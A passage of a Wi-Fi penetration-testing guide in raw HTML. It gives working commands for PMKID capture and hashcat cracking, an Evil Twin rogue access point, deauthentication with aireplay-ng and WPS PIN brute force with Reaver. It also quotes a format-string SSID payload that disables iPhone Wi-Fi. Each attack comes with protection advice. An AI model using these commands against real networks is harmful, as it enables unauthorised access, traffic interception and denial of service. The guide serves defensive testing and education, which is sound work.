&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Step 1: Collect PMKID frames&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hcxdumptool&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -i&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; capture.pcapng&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --enable_status=1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Step 2: Convert to hashcat format&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hcxtools/hcxpcapngtool&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; hash.hc22000&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; capture.pcapng&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Step 3: Offline cracking with a wordlist&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hashcat&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 22000&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; hash.hc22000&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wordlist.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Step 4: With rule sets for password variations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hashcat&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 22000&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; hash.hc22000&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wordlist.txt&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rules/best64.rule&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Protection:&lt;/strong&gt; WPA3-SAE makes the PMKID attack impossible because SAE no longer derives the PMK statically from the password. If WPA2-PSK is still in use: Choose a password with at least 25 random characters - this makes brute-force attacks computationally infeasible.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;evil-twin--rogue-access-point&quot;&gt;Evil Twin / Rogue Access Point&lt;/h3&gt;
&lt;p&gt;An Evil Twin attack is a man-in-the-middle attack at the Wi-Fi level. The attacker operates their own access point with an SSID identical to the target network and a stronger signal - clients automatically connect to the stronger signal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How an Evil Twin attack works:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attacker scans the environment for SSIDs (Aircrack-ng, Kismet)&lt;/li&gt;
&lt;li&gt;Attacker creates an AP with the same SSID and a custom DHCP server&lt;/li&gt;
&lt;li&gt;Optional: Deauthentication attack against the legitimate AP to force clients to reconnect&lt;/li&gt;
&lt;li&gt;Clients connect to the attacker’s rogue AP&lt;/li&gt;
&lt;li&gt;The attacker forwards traffic - as a man-in-the-middle, they can read and manipulate unencrypted connections&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Create a rogue AP with hostapd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# /etc/hostapd/rogue.conf:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;interface&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;wlan1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;driver&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;nl80211&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ssid&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;TargetNetwork&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;channel&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;hw_mode&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;g&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Provide DHCP for clients&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;dnsmasq&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --interface=wlan1&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --dhcp-range=192.168.100.10,192.168.100.100,12h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Forward traffic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;iptables&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -t&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; nat&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -A&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; POSTROUTING&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; eth0&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -j&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; MASQUERADE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why 802.1X protects against this:&lt;/strong&gt; With WPA2/WPA3-Enterprise, not only does the client authenticate to the network, but the network also authenticates to the client - via a server certificate. An Evil Twin without the correct certificate is rejected by properly configured devices. Clients must be configured to validate the server certificate and not accept unknown certificates.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;deauthentication-attacks-dos-and-precursor-to-evil-twin&quot;&gt;Deauthentication attacks (DoS and precursor to Evil Twin)&lt;/h3&gt;
&lt;p&gt;For a long time, the IEEE 802.11 standard did not include authentication for management frames. Deauthentication frames could be spoofed by any device - using any source MAC address.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An attacker sends spoofed deauth frames to all clients on a network. The clients lose their connection and reconnect - either to the legitimate AP or, if an Evil Twin is present, to the rogue AP.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Deauthentication with aireplay-ng&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;aireplay-ng&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --deauth&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 10&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  &amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;bssid-des-a&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;wlan0mon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Targeted against a single client&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;aireplay-ng&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --deauth&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 10&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;bssid-des-a&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  &amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;client-ma&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;wlan0mon&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Protection:&lt;/strong&gt; 802.11w (Management Frame Protection / MFP) cryptographically signs management frames. Faked deauth frames are ignored by devices that support 802.11w. WPA3 enforces 802.11w - another reason to migrate.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;wps-brute-force&quot;&gt;WPS Brute Force&lt;/h3&gt;
&lt;p&gt;WPS (Wi-Fi Protected Setup) was developed to simplify device connection. However, the eight-digit WPS PIN has a fundamental design flaw: The access point checks the first four and last three digits separately (the eighth digit is a checksum). This reduces the effective number of combinations from 100 million to 10,000 + 1,000 = 11,000.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attack with Reaver:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# WPS scan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;wash&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -i&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# WPS PIN brute force&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;reaver&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -i&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;bssi&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -vv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# With Pixie Dust optimization (works immediately against many older routers)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;reaver&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -i&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;bssi&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -K&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -vv&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Pixie Dust attack exploits weak random number generators in some routers and can determine the WPS PIN in seconds - regardless of password length or complexity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Protection:&lt;/strong&gt; Completely disable WPS. Many routers also have a physical WPS button that must be disabled separately - otherwise, an attacker can reactivate WPS by pressing the button.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;format-string-attacks-via-ssids&quot;&gt;Format string attacks via SSIDs&lt;/h3&gt;
&lt;p&gt;In 2021, a curious vulnerability in iPhones came to light: If an iPhone connects to a Wi-Fi network with the SSID &lt;code&gt;%p%s%s%s%s%n&lt;/code&gt;, the Wi-Fi function is permanently disabled - even a restart does not fix the issue. The Wi-Fi switch can no longer be enabled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cause:&lt;/strong&gt; The SSID string is not properly escaped at one point in the iOS network stack and is interpreted as a format string. The character &lt;code&gt;%p&lt;/code&gt; is a format specifier for pointer addresses in C-like languages. The operating system interprets the SSID name as program commands, leading to a memory access error.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Format string attack in general:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Expected input:  &quot;My Wi-Fi Name&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Malicious input:  &quot;%p%s%s%s%s%n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  System interprets:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    %p → Output pointer address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    %s → Read string from memory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    %n → Write number of output bytes to memory location&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;         (can lead to write operations to arbitrary addresses)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This type of attack demonstrates that Wi-Fi attacks are not limited to the network layer - vulnerabilities can occur in any software component that processes Wi-Fi metadata.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Protection:&lt;/strong&gt; Install iOS updates. Do not automatically trust public Wi-Fi networks with unusual SSIDs. Exercise caution with known network names containing special characters, particularly percent signs.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;wifi-pineapple-the-preferred-penetration-testing-tool&quot;&gt;WiFi Pineapple: The Preferred Penetration Testing Tool&lt;/h2&gt;
&lt;p&gt;The WiFi Pineapple from Hak5 is a router specifically designed for Wi-Fi penetration testing, featuring its own browser interface. It combines the most common Wi-Fi attack tools into a single platform and significantly reduces setup effort.&lt;/p&gt;
&lt;h3 id=&quot;what-the-wifi-pineapple-does&quot;&gt;What the WiFi Pineapple Does&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reconnaissance:&lt;/strong&gt; Detects all Wi-Fi networks within range, including SSIDs, encryption standards, signal strength, and connected clients&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client Detection:&lt;/strong&gt; Which devices are searching for which networks? (Probe requests)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rogue Access Points:&lt;/strong&gt; Deploying fake networks with configurable SSIDs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deauthentication:&lt;/strong&gt; Targeted disconnection of clients from the legitimate AP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Traffic Analysis:&lt;/strong&gt; MITM analysis of forwarded traffic&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;two-variants&quot;&gt;Two Variants&lt;/h3&gt;
&lt;p&gt;The WiFi Pineapple is available in two hardware variants:&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;



















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Model&lt;/th&gt;&lt;th&gt;Price&lt;/th&gt;&lt;th&gt;Features&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Tetra&lt;/td&gt;&lt;td&gt;$199&lt;/td&gt;&lt;td&gt;More antennas, longer range, more USB ports&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Nano&lt;/td&gt;&lt;td&gt;$99&lt;/td&gt;&lt;td&gt;More compact, portable, for discreet operations&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Both devices run on a pre-installed OpenWrt-based system. The web interface is accessible via a browser, allowing for use even without in-depth Linux knowledge. The modular system enables extensions for specific attack methods.&lt;/p&gt;
&lt;h3 id=&quot;battery-operation-for-covert-testing&quot;&gt;Battery Operation for Covert Testing&lt;/h3&gt;
&lt;p&gt;A key advantage for red team operations: The WiFi Pineapple can be powered by a standard USB battery pack. This allows it to be placed unattended inside a building - under a conference table, in a storage room, or in a utility closet. The device connects to the internet via smartphone tethering, and the pentester can retrieve the collected data remotely.&lt;/p&gt;
&lt;p&gt;With its Cloud C2 platform, Hak5 offers an infrastructure for remotely controlling multiple pentest devices - relevant for larger red team engagements with distributed locations.&lt;/p&gt;
&lt;h3 id=&quot;alternatives-without-specialized-hardware&quot;&gt;Alternatives Without Specialized Hardware&lt;/h3&gt;
&lt;p&gt;The same attacks can also be carried out using a standard Linux computer and a supported USB Wi-Fi adapter. The necessary software is freely available:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Aircrack-ng Suite (industry standard)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; aircrack-ng&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Enable monitor mode&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; airmon-ng&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; start&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Scan networks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; airodump-ng&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Capture handshake&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; airodump-ng&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 6&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --bssid&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;bssi&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -w&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; capture&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Kismet (Passive scanner + Rogue AP detection)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; kismet&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;kismet&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Web GUI: localhost:2501&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The advantage of the WiFi Pineapple lies not in exclusive capabilities, but in its integrated user interface and quick deployment without manual configuration.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;reconnaissance-what-pen-testers-do-first&quot;&gt;Reconnaissance: What Pen Testers Do First&lt;/h2&gt;
&lt;p&gt;Before an attack takes place, pen testers gather information about the Wi-Fi infrastructure.&lt;/p&gt;
&lt;h3 id=&quot;passive-reconnaissance&quot;&gt;Passive Reconnaissance&lt;/h3&gt;
&lt;p&gt;In monitor mode, a Wi-Fi card receives all frames within range without transmitting itself. This allows for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Capturing all SSIDs and BSSIDs (MAC addresses of access points)&lt;/li&gt;
&lt;li&gt;Determining the encryption standard (WPA2/WPA3/WEP/open)&lt;/li&gt;
&lt;li&gt;Counting the connected clients per AP&lt;/li&gt;
&lt;li&gt;Analysis of probe requests: Which network names do clients automatically search for?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Probe requests are particularly revealing: A laptop automatically sends requests for all known network names - such as the home network, the office network, or the hotel Wi-Fi from last year. An attacker with a rogue AP that responds to these names can automatically attract clients.&lt;/p&gt;
&lt;h3 id=&quot;active-reconnaissance&quot;&gt;Active Reconnaissance&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Measuring signal strength:&lt;/strong&gt; Where in the building can which AP be received? Does the corporate network radiate out to the street?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wardriving:&lt;/strong&gt; Systematic mapping of all Wi-Fi networks in an area (for red team assessments: with permission)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rogue AP detection:&lt;/strong&gt; Are there already unknown access points in the building?&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;overview-of-wi-fi-penetration-testing-phases&quot;&gt;Overview of Wi-Fi Penetration Testing Phases&lt;/h2&gt;
&lt;p&gt;A structured Wi-Fi penetration test follows a defined process:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 1 - Scope Definition:&lt;/strong&gt;
What is the scope of the test? Which SSIDs, which locations? Is the guest Wi-Fi included? Are there time windows during which no testing is permitted?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 2 - Passive Reconnaissance:&lt;/strong&gt;
Mapping the Wi-Fi infrastructure without active attacks. Inventory of all SSIDs, BSSIDs, encryption standards, and channel usage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 3 - Vulnerability Analysis:&lt;/strong&gt;
Which of the discovered networks have exploitable weaknesses? Is WEP active? Is WPS enabled? Weak PSK? No 802.11w?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 4 - Exploitation:&lt;/strong&gt;
Controlled execution of attacks: PMKID attack, WPS brute force, Evil Twin, deauthentication. All attacks are documented and assessed for their impact on operations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 5 - Post-Exploitation:&lt;/strong&gt;
What is accessible after gaining access to the Wi-Fi? Is the internal network segmented? Can internal servers be reached from a compromised Wi-Fi access point?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 6 - Reporting:&lt;/strong&gt;
Documentation of all findings with risk assessment (critical/high/medium/low) and specific hardening recommendations. Distinction between immediately implementable quick wins and medium-term measures.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;common-findings-from-wi-fi-penetration-tests&quot;&gt;Common Findings from Wi-Fi Penetration Tests&lt;/h2&gt;
&lt;p&gt;Professional penetration testers regularly find these vulnerabilities in corporate networks:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WPS active:&lt;/strong&gt; In an alarmingly high percentage of the networks tested, WPS is still active - often because it was not explicitly disabled during router setup. Pixie Dust attacks compromise affected routers in seconds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WEP still in use:&lt;/strong&gt; Older infrastructure, particularly in production environments, still uses WEP encryption in some cases. WEP can be cracked in minutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Weak PSK:&lt;/strong&gt; Passwords such as company names, years, or place names are included in word lists. A PMKID attack combined with typical German company passwords is often successful within hours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lack of 802.11w:&lt;/strong&gt; Without Management Frame Protection, deauthentication attacks can be carried out at any time - as a denial-of-service attack or as a precursor to Evil Twin attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Guest Wi-Fi without segmentation:&lt;/strong&gt; The guest Wi-Fi is not technically separated from the production network. An attacker on the guest Wi-Fi can directly access internal systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Evil Twin Vulnerability with 802.1X:&lt;/strong&gt; The EAP configuration accepts any server certificates. Clients connect to a rogue AP that presents a self-signed certificate - a successful Evil Twin attack despite 802.1X.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;legal-framework&quot;&gt;Legal Framework&lt;/h2&gt;
&lt;p&gt;Wi-Fi penetration tests are legally sensitive and require a clear written mandate:&lt;/p&gt;
